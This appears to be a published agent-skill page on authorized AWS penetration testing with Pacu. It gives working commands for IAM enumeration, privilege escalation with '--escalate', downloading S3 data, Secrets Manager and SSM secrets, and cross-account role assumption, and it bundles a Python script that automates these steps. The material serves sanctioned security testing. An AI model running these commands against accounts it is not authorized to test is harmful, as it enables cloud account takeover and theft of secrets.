cloud security

Performing Cloud Penetration Testing with Pacu

Performing authorized AWS penetration testing using Pacu, the open-source AWS exploitation framework, to enumerate IAM configurations, discover privilege escalation paths, test credential harvesting, and validate security controls through systematic attack simulation.

awscloud-securityiam-exploitationoffensive-securitypacupenetration-testing
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When conducting authorized penetration testing of AWS environments
  • When validating the effectiveness of IAM policies, SCPs, and permission boundaries
  • When assessing the blast radius of a compromised set of AWS credentials
  • When testing detection capabilities of GuardDuty, Security Hub, and custom alerting
  • When building red team exercises against AWS cloud infrastructure

Do not use for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.

Prerequisites

  • Written authorization from the AWS account owner with defined scope and rules of engagement
  • Pacu v1.5+ installed (pip install pacu)
  • Test AWS credentials with limited starting permissions (simulates compromised credential scenario)
  • CloudTrail logging enabled to capture all Pacu activity for post-engagement review
  • GuardDuty enabled to validate detection of Pacu activities
  • Emergency contact and rollback procedures documented

Workflow

Step 1: Initialize Pacu Session and Configure Credentials

Set up a Pacu session with the test credentials and define the engagement scope.

# Install Pacu
pip install pacu
 
# Start Pacu
pacu
 
# Create a new session for the engagement
Pacu > set_keys --key-alias pentest-target
# Enter Access Key ID: AKIA...
# Enter Secret Access Key: ...
 
# Verify identity
Pacu > whoami
 
# Review available modules
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3

Step 2: Enumerate IAM Configuration

Run IAM enumeration modules to map users, roles, policies, and group memberships.

# Comprehensive IAM enumeration
Pacu > run iam__enum_users_roles_policies_groups
 
# Enumerate detailed permissions for the current principal
Pacu > run iam__enum_permissions
 
# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report
 
# Enumerate role trust policies for cross-account access
Pacu > run iam__enum_roles
 
# Check current session data
Pacu > data iam

Step 3: Scan for Privilege Escalation Paths

Use Pacu's privilege escalation scanner to identify all exploitable escalation vectors.

# Run the privilege escalation scanner
Pacu > run iam__privesc_scan
 
# The scanner tests for 21+ escalation methods:
# Method 1:  iam:CreatePolicyVersion
# Method 2:  iam:SetDefaultPolicyVersion
# Method 3:  iam:PassRole + ec2:RunInstances
# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# Method 6:  iam:PassRole + glue:CreateDevEndpoint
# Method 7:  iam:PassRole + cloudformation:CreateStack
# Method 8:  iam:PassRole + datapipeline:CreatePipeline
# Method 9:  iam:CreateAccessKey
# Method 10: iam:CreateLoginProfile
# Method 11: iam:UpdateLoginProfile
# Method 12: iam:AttachUserPolicy
# Method 13: iam:AttachGroupPolicy
# Method 14: iam:AttachRolePolicy
# Method 15: iam:PutUserPolicy
# Method 16: iam:PutGroupPolicy
# Method 17: iam:PutRolePolicy
# Method 18: iam:AddUserToGroup
# Method 19: iam:UpdateAssumeRolePolicy
# Method 20: sts:AssumeRole
# Method 21: lambda:UpdateFunctionCode
 
# If escalation paths found, attempt exploitation
Pacu > run iam__privesc_scan --escalate

Step 4: Enumerate and Test Data Access

Discover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.

# Enumerate S3 buckets
Pacu > run s3__bucket_finder
 
# Download S3 bucket data for analysis
Pacu > run s3__download_bucket --bucket target-bucket --dl-names
 
# Enumerate EC2 instances and extract user data
Pacu > run ec2__enum
Pacu > run ec2__download_userdata
 
# Enumerate Lambda functions and check for secrets in environment variables
Pacu > run lambda__enum
 
# Enumerate Secrets Manager
Pacu > run secretsmanager__enum
 
# Enumerate SSM parameters (often contain secrets)
Pacu > run ssm__download_parameters
 
# Check for exposed EBS snapshots
Pacu > run ebs__enum_snapshots_unauth

Step 5: Test Lateral Movement and Persistence

Evaluate cross-account access, service exploitation, and persistence mechanisms.

# Test cross-account role assumption
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole
 
# Enumerate Lambda for code execution opportunities
Pacu > run lambda__enum
# If lambda:UpdateFunctionCode permission exists, could inject code
 
# Test EC2 instance connect for lateral movement
Pacu > run ec2__enum
# Check for instances with instance profiles that have broader permissions
 
# Check for CodeBuild projects (potential credential access)
Pacu > run codebuild__enum
 
# Enumerate ECS/Fargate for container-based lateral movement
Pacu > run ecs__enum
 
# Export all discovered data
Pacu > data all

Step 6: Validate Detection and Generate Report

Review whether security controls detected the testing activities and compile findings.

# Check GuardDuty findings generated during testing
aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
  --finding-criteria '{
    "Criterion": {
      "updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
    }
  }' --output json
 
# Check Security Hub findings
aws securityhub get-findings \
  --filters '{
    "CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
  }'
 
# Export Pacu session data for reporting
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json
 
# Clean up any test artifacts created during assessment
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null

Key Concepts

Term Definition
Pacu Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing
Privilege Escalation Scan Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control
iam:PassRole Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue
Cross-Account Role Assumption Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations
Rules of Engagement Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement
Post-Exploitation Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment

Tools & Systems

  • Pacu: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration
  • CloudFox: AWS enumeration tool for identifying attack paths from an attacker perspective
  • Principal Mapper: IAM privilege escalation graph analysis tool for visualizing escalation paths
  • ScoutSuite: Multi-cloud security assessment tool for identifying misconfigurations before testing
  • AWS CloudTrail: Audit logging for capturing all Pacu activities during the engagement

Common Scenarios

Scenario: Red Team Assessment Starting from Compromised Developer Credentials

Context: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.

Approach:

  1. Initialize Pacu with the compromised credentials and run whoami to confirm identity
  2. Run iam__enum_permissions to map the developer's effective permissions
  3. Execute iam__privesc_scan to identify escalation paths from developer to admin
  4. Discover the developer can call iam:PassRole + lambda:CreateFunction, creating a Lambda with an admin role
  5. Exploit the escalation to obtain admin-level temporary credentials
  6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager
  7. Verify whether GuardDuty detected the escalation and data access activities
  8. Clean up all test artifacts and document the complete attack chain

Pitfalls: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger Recon:IAMUser/MaliciousIPCaller findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.

Output Format

AWS Penetration Test Report (Pacu)
=====================================
Target Account: 123456789012
Engagement Period: 2026-02-20 to 2026-02-23
Starting Credentials: Developer role (read-only S3, Lambda invoke)
Authorization: Signed ROE document #PT-2026-015
 
ATTACK PATH SUMMARY:
  Starting access: S3 read-only, Lambda invoke
  Maximum access achieved: AdministratorAccess (full account compromise)
  Time to admin: 47 minutes
  Detection by GuardDuty: Yes (after 12 minutes)
  Detection by Security Hub: Yes (after 18 minutes)
  SOC response time: 45 minutes (missed the escalation window)
 
PACU MODULES EXECUTED:
  iam__enum_users_roles_policies_groups: SUCCESS
  iam__enum_permissions: SUCCESS
  iam__privesc_scan: 3 escalation paths found
  s3__download_bucket: 4 buckets accessed
  lambda__enum: 12 functions enumerated
  secretsmanager__enum: 8 secrets retrieved
 
ESCALATION PATHS EXPLOITED:
  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)
  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)
  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)
 
DATA ACCESSED:
  S3 objects downloaded: 1,247 files (2.3 GB)
  Secrets Manager values: 8 secrets including DB credentials
  SSM parameters: 23 parameters including API keys
 
DETECTION RESULTS:
  GuardDuty findings generated: 7
  Security Hub findings: 12
  Custom CloudWatch alarms triggered: 3
  SOC acknowledged: Yes (45 min response)
 
RECOMMENDATIONS:
  1. Apply permission boundaries to all developer roles
  2. Remove iam:PassRole from non-admin principals
  3. Reduce SOC response time to < 15 minutes for IAM escalation alerts
  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.4 KB

API Reference: Performing Cloud Penetration Testing with Pacu

Pacu CLI Commands

Command Description
pacu --new-session <name> Create a new Pacu session
pacu --session <name> --module-name <module> Run a specific module
pacu --session <name> --list-modules List all available modules
pacu --session <name> --module-name <module> --module-args "<args>" Run module with arguments

Pacu IAM Modules

Module Description
iam__enum_users_roles_policies_groups Full IAM enumeration
iam__privesc_scan Scan for 21+ privilege escalation vectors
iam__backdoor_users_keys Test ability to create access keys
iam__backdoor_assume_role Test role assumption capabilities

Pacu Enumeration Modules

Module Description
ec2__enum Enumerate EC2 instances, security groups, and VPCs
s3__enum Enumerate S3 buckets and check permissions
lambda__enum Enumerate Lambda functions and configurations
secretsmanager__enum Enumerate Secrets Manager secrets

boto3 Fallback Methods

Method Description
sts.get_caller_identity() Identify current credentials
iam.list_users() Enumerate IAM users
iam.get_policy_version() Analyze policy documents

Key Libraries

  • pacu (pip install pacu): AWS exploitation framework by Rhino Security Labs
  • boto3 (pip install boto3): AWS SDK for direct API enumeration fallback
  • subprocess (stdlib): Execute Pacu modules as subprocesses

Configuration

Variable Description
AWS_PROFILE AWS CLI profile with test credentials
AWS_ACCESS_KEY_ID Access key for Pacu session
AWS_SECRET_ACCESS_KEY Secret key for Pacu session
AWS_DEFAULT_REGION Default AWS region

Pacu Session Data

File Description
~/.pacu/sessions/<name>/ Session directory with enumerated data
~/.pacu/sessions/<name>/downloads/ Downloaded files from modules

References

Scripts 1

agent.py8.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
AWS Penetration Testing with Pacu Agent — AUTHORIZED TESTING ONLY
Automates Pacu module execution for AWS security assessment including
IAM enumeration, privilege escalation scanning, and credential testing.

WARNING: Only use with explicit written authorization on approved AWS accounts.
"""

import json
import subprocess
import sys
from datetime import datetime, timezone

import boto3
from botocore.exceptions import ClientError


def run_pacu_module(module_name: str, session_name: str = "pentest", args: str = "") -> dict:
    """Execute a Pacu module via subprocess."""
    cmd = ["pacu", "--session", session_name, "--module-name", module_name]
    if args:
        cmd.extend(["--module-args", args])

    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
        return {
            "module": module_name,
            "success": result.returncode == 0,
            "output": result.stdout[-2000:] if result.stdout else "",
            "error": result.stderr[-500:] if result.stderr else "",
        }
    except subprocess.TimeoutExpired:
        return {"module": module_name, "success": False, "error": "Module timed out (300s)"}
    except FileNotFoundError:
        return {"module": module_name, "success": False, "error": "Pacu not installed. Install with: pip install pacu"}


def enumerate_iam_with_boto(profile: str = None) -> dict:
    """Fallback IAM enumeration using boto3 when Pacu is unavailable."""
    session = boto3.Session(profile_name=profile) if profile else boto3.Session()
    iam = session.client("iam")
    sts = session.client("sts")

    identity = sts.get_caller_identity()
    result = {
        "identity": {
            "account": identity["Account"],
            "arn": identity["Arn"],
        },
        "users": [],
        "roles": [],
        "policies": [],
    }

    try:
        for page in iam.get_paginator("list_users").paginate():
            for user in page["Users"]:
                attached = iam.list_attached_user_policies(UserName=user["UserName"])
                result["users"].append({
                    "username": user["UserName"],
                    "arn": user["Arn"],
                    "policies": [p["PolicyArn"] for p in attached["AttachedPolicies"]],
                })
    except ClientError as e:
        result["users_error"] = str(e)

    try:
        for page in iam.get_paginator("list_roles").paginate():
            for role in page["Roles"]:
                result["roles"].append({
                    "name": role["RoleName"],
                    "arn": role["Arn"],
                    "trust_policy": role.get("AssumeRolePolicyDocument", {}),
                })
    except ClientError as e:
        result["roles_error"] = str(e)

    return result


def scan_privilege_escalation(iam_data: dict) -> list[dict]:
    """Identify privilege escalation paths from IAM enumeration data."""
    escalation_vectors = []
    dangerous_actions = {
        "iam:CreatePolicyVersion", "iam:SetDefaultPolicyVersion",
        "iam:AttachUserPolicy", "iam:AttachRolePolicy",
        "iam:PutUserPolicy", "iam:PutRolePolicy",
        "iam:AddUserToGroup", "iam:UpdateAssumeRolePolicy",
        "iam:PassRole", "iam:CreateLoginProfile",
        "lambda:CreateFunction", "lambda:UpdateFunctionCode",
    }

    iam_client = boto3.client("iam")

    for user in iam_data.get("users", []):
        user_dangerous = []
        for policy_arn in user.get("policies", []):
            try:
                policy = iam_client.get_policy(PolicyArn=policy_arn)
                version = iam_client.get_policy_version(
                    PolicyArn=policy_arn,
                    VersionId=policy["Policy"]["DefaultVersionId"],
                )
                doc = version["PolicyVersion"]["Document"]
                for stmt in doc.get("Statement", []):
                    if stmt.get("Effect") != "Allow":
                        continue
                    actions = stmt.get("Action", [])
                    if isinstance(actions, str):
                        actions = [actions]
                    for action in actions:
                        if action == "*" or action in dangerous_actions:
                            user_dangerous.append({"action": action, "policy": policy_arn})
            except ClientError:
                continue

        if user_dangerous:
            escalation_vectors.append({
                "principal": user["username"],
                "type": "user",
                "vectors": user_dangerous,
                "risk": "CRITICAL" if any(v["action"] == "*" for v in user_dangerous) else "HIGH",
            })

    return escalation_vectors


def test_credential_access(region: str = "us-east-1") -> dict:
    """Test what services the current credentials can access."""
    services_to_test = [
        ("sts", "get_caller_identity", {}),
        ("s3", "list_buckets", {}),
        ("ec2", "describe_instances", {}),
        ("iam", "list_users", {}),
        ("lambda", "list_functions", {}),
        ("secretsmanager", "list_secrets", {}),
        ("ssm", "describe_parameters", {}),
    ]

    accessible = []
    denied = []

    for service, method, kwargs in services_to_test:
        try:
            client = boto3.client(service, region_name=region)
            getattr(client, method)(**kwargs)
            accessible.append(service)
        except ClientError as e:
            if e.response["Error"]["Code"] in ("AccessDenied", "AccessDeniedException", "UnauthorizedAccess"):
                denied.append(service)
            else:
                accessible.append(service)
        except Exception:
            denied.append(service)

    return {"accessible_services": accessible, "denied_services": denied}


def generate_report(iam_data: dict, escalation: list, access: dict, pacu_results: list) -> str:
    """Generate Pacu penetration testing report."""
    lines = [
        "AWS PENETRATION TESTING (PACU) REPORT — AUTHORIZED TESTING ONLY",
        "=" * 65,
        f"Account: {iam_data.get('identity', {}).get('account', 'N/A')}",
        f"Identity: {iam_data.get('identity', {}).get('arn', 'N/A')}",
        f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}",
        "",
        "SERVICE ACCESS:",
        f"  Accessible: {', '.join(access.get('accessible_services', []))}",
        f"  Denied: {', '.join(access.get('denied_services', []))}",
        "",
        f"IAM ENUMERATION:",
        f"  Users Found: {len(iam_data.get('users', []))}",
        f"  Roles Found: {len(iam_data.get('roles', []))}",
        "",
        f"PRIVILEGE ESCALATION VECTORS: {len(escalation)}",
        "-" * 40,
    ]

    for esc in escalation:
        lines.append(f"  [{esc['risk']}] {esc['principal']} ({esc['type']})")
        for v in esc["vectors"][:5]:
            lines.append(f"    - {v['action']} via {v['policy']}")

    if pacu_results:
        lines.extend(["", "PACU MODULE RESULTS:"])
        for pr in pacu_results:
            status = "OK" if pr["success"] else "FAIL"
            lines.append(f"  [{status}] {pr['module']}")

    return "\n".join(lines)


if __name__ == "__main__":
    print("[!] AWS PENTEST WITH PACU — AUTHORIZED TESTING ONLY\n")

    region = sys.argv[1] if len(sys.argv) > 1 else "us-east-1"
    session_name = sys.argv[2] if len(sys.argv) > 2 else "pentest"

    print("[*] Testing credential access scope...")
    access = test_credential_access(region)

    print("[*] Enumerating IAM...")
    iam_data = enumerate_iam_with_boto()

    print("[*] Scanning for privilege escalation vectors...")
    escalation = scan_privilege_escalation(iam_data)

    pacu_results = []
    pacu_modules = [
        "iam__enum_users_roles_policies_groups",
        "iam__privesc_scan",
        "ec2__enum",
        "s3__enum",
        "lambda__enum",
    ]
    for module in pacu_modules:
        print(f"[*] Running Pacu module: {module}")
        result = run_pacu_module(module, session_name)
        pacu_results.append(result)

    report = generate_report(iam_data, escalation, access, pacu_results)
    print(report)

    output = f"pacu_pentest_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json"
    with open(output, "w") as f:
        json.dump({"iam": iam_data, "escalation": escalation, "access": access,
                    "pacu_results": pacu_results}, f, indent=2, default=str)
    print(f"\n[*] Results saved to {output}")
Keep exploring